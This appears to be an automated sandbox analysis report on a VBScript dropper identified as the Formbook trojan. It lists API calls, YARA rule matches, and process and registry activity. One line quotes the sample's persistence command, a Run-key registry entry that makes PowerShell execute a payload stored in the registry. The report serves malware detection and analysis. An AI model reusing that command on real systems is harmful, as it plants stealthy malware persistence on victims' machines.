Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882F60 NtCreateProcessEx, 17_2_24882F60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24883D70 NtOpenThread, 17_2_24883D70
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_075EE7D1 Sleep,LdrInitializeThunk,NtProtectVirtualMemory, 17_2_075EE7D1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03924340 NtSetContextThread,LdrInitializeThunk, 22_2_03924340
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03923090 NtSetValueKey,LdrInitializeThunk, 22_2_03923090
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03924650 NtSuspendThread,LdrInitializeThunk, 22_2_03924650
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039235C0 NtCreateMutant,LdrInitializeThunk, 22_2_039235C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922BA0 NtEnumerateValueKey,LdrInitializeThunk, 22_2_03922BA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 22_2_03922BF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922BE0 NtQueryValueKey,LdrInitializeThunk, 22_2_03922BE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922B60 NtClose,LdrInitializeThunk, 22_2_03922B60
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922AD0 NtReadFile,LdrInitializeThunk, 22_2_03922AD0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922AF0 NtWriteFile,LdrInitializeThunk, 22_2_03922AF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039239B0 NtGetContextThread,LdrInitializeThunk, 22_2_039239B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922FB0 NtResumeThread,LdrInitializeThunk, 22_2_03922FB0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922FE0 NtCreateFile,LdrInitializeThunk, 22_2_03922FE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922F30 NtCreateSection,LdrInitializeThunk, 22_2_03922F30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922E80 NtReadVirtualMemory,LdrInitializeThunk, 22_2_03922E80
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922EE0 NtQueueApcThread,LdrInitializeThunk, 22_2_03922EE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922DD0 NtDelayExecution,LdrInitializeThunk, 22_2_03922DD0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922DF0 NtQuerySystemInformation,LdrInitializeThunk, 22_2_03922DF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922D10 NtMapViewOfSection,LdrInitializeThunk, 22_2_03922D10
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922D30 NtUnmapViewOfSection,LdrInitializeThunk, 22_2_03922D30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922CA0 NtQueryInformationToken,LdrInitializeThunk, 22_2_03922CA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922C70 NtFreeVirtualMemory,LdrInitializeThunk, 22_2_03922C70
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922C60 NtCreateKey,LdrInitializeThunk, 22_2_03922C60
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03923010 NtOpenDirectoryObject, 22_2_03923010
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922B80 NtQueryInformationFile, 22_2_03922B80
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922AB0 NtWaitForSingleObject, 22_2_03922AB0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922F90 NtProtectVirtualMemory, 22_2_03922F90
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922FA0 NtQuerySection, 22_2_03922FA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922F60 NtCreateProcessEx, 22_2_03922F60
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922EA0 NtAdjustPrivilegesToken, 22_2_03922EA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922E30 NtWriteVirtualMemory, 22_2_03922E30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922DB0 NtEnumerateKey, 22_2_03922DB0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03923D10 NtOpenProcessToken, 22_2_03923D10
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922D00 NtSetInformationFile, 22_2_03922D00
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03923D70 NtOpenThread, 22_2_03923D70
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922CC0 NtQueryVirtualMemory, 22_2_03922CC0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922CF0 NtOpenProcess, 22_2_03922CF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03922C00 NtQueryInformationProcess, 22_2_03922C00
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F57680 NtCreateFile, 22_2_02F57680
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F577E0 NtReadFile, 22_2_02F577E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F57AC0 NtAllocateVirtualMemory, 22_2_02F57AC0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F578D0 NtDeleteFile, 22_2_02F578D0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F57970 NtClose, 22_2_02F57970
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348CD892 8_2_00007FFD348CD892
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348CCAE6 8_2_00007FFD348CCAE6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348C6238 8_2_00007FFD348C6238
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348C2658 8_2_00007FFD348C2658
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348C3BFB 8_2_00007FFD348C3BFB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348C53F0 8_2_00007FFD348C53F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_08451010 11_2_08451010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_084518E0 11_2_084518E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_08450CC8 11_2_08450CC8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975E1A 17_3_08975E1A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975E1A 17_3_08975E1A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975D31 17_3_08975D31
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975D31 17_3_08975D31
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976B3F 17_3_08976B3F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976B3F 17_3_08976B3F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08973A3B 17_3_08973A3B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08973A3B 17_3_08973A3B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08974326 17_3_08974326
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08974326 17_3_08974326
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976ACF 17_3_08976ACF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976ACF 17_3_08976ACF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976B4F 17_3_08976B4F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976B4F 17_3_08976B4F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976C6F 17_3_08976C6F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976ACF 17_3_08976ACF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976CC0 17_3_08976CC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976ACF 17_3_08976ACF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976ACF 17_3_08976ACF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975E1A 17_3_08975E1A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975E1A 17_3_08975E1A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08973A3B 17_3_08973A3B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08973A3B 17_3_08973A3B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976C6F 17_3_08976C6F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975D31 17_3_08975D31
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975D31 17_3_08975D31
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976B3F 17_3_08976B3F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976B3F 17_3_08976B3F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08974326 17_3_08974326
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08974326 17_3_08974326
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976B4F 17_3_08976B4F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08976B4F 17_3_08976B4F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24819B80 17_2_24819B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24813FD2 17_2_24813FD2
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24813FD5 17_2_24813FD5
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A615DB 21_2_03A615DB
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A63388 21_2_03A63388
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A6337F 21_2_03A6337F
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A61627 21_2_03A61627
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A61628 21_2_03A61628
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A635A8 21_2_03A635A8
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A80D08 21_2_03A80D08
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A69D06 21_2_03A69D06
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Code function: 21_2_03A69D08 21_2_03A69D08
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0393739A 22_2_0393739A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B03E6 22_2_039B03E6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FE3F0 22_2_038FE3F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A132D 22_2_039A132D
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DD34C 22_2_038DD34C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AA352 22_2_039AA352
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F52A0 22_2_038F52A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B2C0 22_2_0390B2C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039912ED 22_2_039912ED
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990274 22_2_03990274
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B01AA 22_2_039B01AA
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FB1B0 22_2_038FB1B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A81CC 22_2_039A81CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398A118 22_2_0398A118
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E0100 22_2_038E0100
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03978158 22_2_03978158
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039BB16B 22_2_039BB16B
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0392516C 22_2_0392516C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038DF172 22_2_038DF172
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F70C0 22_2_038F70C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399F0CC 22_2_0399F0CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A70E9 22_2_039A70E9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AF0E0 22_2_039AF0E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AF7B0 22_2_039AF7B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EC7C0 22_2_038EC7C0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03914750 22_2_03914750
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0770 22_2_038F0770
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A16CC 22_2_039A16CC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390C6E0 22_2_0390C6E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039B0591 22_2_039B0591
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398D5B0 22_2_0398D5B0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0535 22_2_038F0535
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A7571 22_2_039A7571
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399E4F6 22_2_0399E4F6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AF43F 22_2_039AF43F
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A2446 22_2_039A2446
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E1460 22_2_038E1460
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390FB80 22_2_0390FB80
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A6BD7 22_2_039A6BD7
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03965BF0 22_2_03965BF0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0392DBF9 22_2_0392DBF9
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AAB40 22_2_039AAB40
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AFB76 22_2_039AFB76
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EEA80 22_2_038EEA80
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03935AA0 22_2_03935AA0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0398DAAC 22_2_0398DAAC
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0399DAC6 22_2_0399DAC6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AFA49 22_2_039AFA49
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A7A46 22_2_039A7A46
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03963A6C 22_2_03963A6C
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F29A0 22_2_038F29A0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039BA9A6 22_2_039BA9A6
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390B950 22_2_0390B950
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F9950 22_2_038F9950
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03906962 22_2_03906962
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038D68B8 22_2_038D68B8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0391E8F0 22_2_0391E8F0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F38E0 22_2_038F38E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0395D800 22_2_0395D800
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F2840 22_2_038F2840
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FA840 22_2_038FA840
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F1F92 22_2_038F1F92
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AFFB1 22_2_039AFFB1
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E2FC8 22_2_038E2FC8
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FCFE0 22_2_038FCFE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AFF09 22_2_039AFF09
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03910F30 22_2_03910F30
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03932F28 22_2_03932F28
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03964F40 22_2_03964F40
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03902E90 22_2_03902E90
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039ACE93 22_2_039ACE93
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F9EB0 22_2_038F9EB0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AEEDB 22_2_039AEEDB
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AEE26 22_2_039AEE26
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0E59 22_2_038F0E59
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03908DBF 22_2_03908DBF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_0390FDC0 22_2_0390FDC0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038EADE0 22_2_038EADE0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038FAD00 22_2_038FAD00
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A1D5A 22_2_039A1D5A
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F3D40 22_2_038F3D40
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039A7D73 22_2_039A7D73
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03990CB5 22_2_03990CB5
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_039AFCF2 22_2_039AFCF2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038E0CF2 22_2_038E0CF2
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_038F0C00 22_2_038F0C00
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_03969C32 22_2_03969C32
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F41270 22_2_02F41270
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F3A6E0 22_2_02F3A6E0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F3A6DF 22_2_02F3A6DF
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F3C660 22_2_02F3C660
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F3C440 22_2_02F3C440
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F3C437 22_2_02F3C437
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F42DC0 22_2_02F42DC0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F59DC0 22_2_02F59DC0
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F42DBE 22_2_02F42DBE
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 038DB970 appears 268 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 03937E54 appears 96 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 0396F290 appears 105 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 03925130 appears 36 times
Source: C:\Windows\SysWOW64\xcopy.exe Code function: String function: 0395EA12 appears 86 times
Java / VBScript file with very long strings (likely obfuscated code)
Source: 01105751.vbs Initial sample: Strings found which are bigger than 50
Uses reg.exe to modify the Windows registry
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)"
Yara signature match
Source: amsi64_5692.amsi.csv, type: OTHER Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_6096.amsi.csv, type: OTHER Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 00000017.00000002.3568353158.0000000001500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000016.00000002.3568882333.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.3231394969.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000016.00000002.3567612740.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000015.00000002.3568923150.00000000038D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.3306907165.0000000025560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000016.00000002.3568770287.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 5692, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winVBS@33/10@3/3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Sagsgningerne.Int Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2436:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6444:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2268:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3776:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b4c0somd.z5j.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\01105751.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=5692
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6096
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\01105751.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping google.com -n 1
